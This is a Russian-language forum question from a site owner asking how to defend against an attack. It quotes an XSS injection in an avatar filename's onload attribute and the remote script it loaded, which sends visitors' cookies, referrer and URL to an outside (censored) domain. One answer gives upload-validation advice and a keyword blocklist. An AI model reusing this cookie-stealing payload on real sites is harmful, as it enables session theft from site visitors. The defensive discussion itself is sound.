Задать вопрос

Как защитить сайт от такого взлома?

avatar.png" onload="let div=document.createElement('script');div.type='text/javascript';div.src='https://censored-domain/p/2.txt';document.body.append(div);


Код с подгружаемого файла:
function include_file(filename){
var js = document.createElement('script');
js.setAttribute('type', 'text/javascript');
js.setAttribute('src', filename);
js.setAttribute('defer', 'defer');
document.getElementsByTagName('HEAD')[0].appendChild(js);
var cur_file = {};
cur_file[window.location.href] = 1;
if (!window.php_js) window.php_js = {};
if (!window.php_js.includes) window.php_js.includes = cur_file;
if (!window.php_js.includes[filename]) {
window.php_js.includes[filename] = 1;
} else {
window.php_js.includes[filename]++;
}
return window.php_js.includes[filename];
}
var svurl = "https://censored-domain/p/?cookie=" + encodeURIComponent(document.cookie) + '&ref=' + encodeURIComponent(document.referrer) + '&path=' + encodeURIComponent(location.href);
include_file(svurl);
  • Вопрос задан
  • 822 просмотра
Подписаться 5 Средний 2 комментария
Помогут разобраться в теме Все курсы
  • Нетология
    Веб-разработчик с нуля: профессия с выбором специализации
    14 месяцев
    Далее
  • Skillfactory
    Профессия Веб-разработчик
    12 месяцев
    Далее
  • Яндекс Практикум
    Фулстек-разработчик
    16 месяцев
    Далее
Решения вопроса 1
xmoonlight
@xmoonlight
https://sitecoder.blogspot.com
1. Имя загружаемого файла (и любые пользовательские текстовые данные) - проверять СТРОГО ТОЛЬКО ЧЕРЕЗ REGEX!

2. Проверять тело аватарки сразу после загрузки (пока файл во временной папке) на соответствие формату изображения. Например, запросив разрешение изображения или любое другое свойство, проверить заголовок.

3. Проверить валидность на минимальный и максимальный размер файла изображения.

4. И, заодно, бонусом, можно проверить тело файла на содержание любого из слов: script,document, window, onload, onerror, function, body,query, select,update, insert.

БОНУС: сигнатуры
Ответ написан
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы